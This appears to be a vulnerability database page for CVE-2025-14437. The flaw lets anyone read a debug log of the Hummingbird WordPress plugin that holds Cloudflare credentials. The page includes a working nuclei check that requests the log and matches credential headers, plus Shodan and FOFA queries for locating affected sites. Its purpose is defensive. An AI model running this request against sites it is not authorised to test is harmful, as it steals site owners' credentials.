Browse / CVEs / CVE-2025-14437
CVE-2025-14437· wpmudev / hummingbird-performance· CWE-532
WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
highseverity
7.5CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it
Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
Impact
Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
Fix
Update to the latest version beyond 3.18.0.
How to confirm it
Send: GET /wp-content/wphb-logs/api-debug.log
Positive when: status_code == 200 and contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")Run it with nuclei: nuclei -id CVE-2025-14437 -u <target>
The full check
id: CVE-2025-14437
info:
name: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
author: pussycat0x
severity: high
description: |
Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
impact: |
Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
remediation: |
Update to the latest version beyond 3.18.0.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files
- https://wpscan.com/vulnerability/cve-2025-14437
- https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-14437
epss-score: 0.01834
epss-percentile: 0.79095
cwe-id: CWE-532
metadata:
verified: true
max-request: 1
vendor: wpmudev
product: hummingbird-performance
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/hummingbird-performance"
fofa-query: body="/wp-content/plugins/hummingbird-performance"
tags: cve,cve2025,wordpress,wp-plugin,hummingbird,exposure,cloudflare,wpmudev,vkev
http:
- raw:
- |
GET /wp-content/wphb-logs/api-debug.log HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files
- https://wpscan.com/vulnerability/cve-2025-14437
- https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance
Use this check only on systems you are authorised to test. Where the data comes from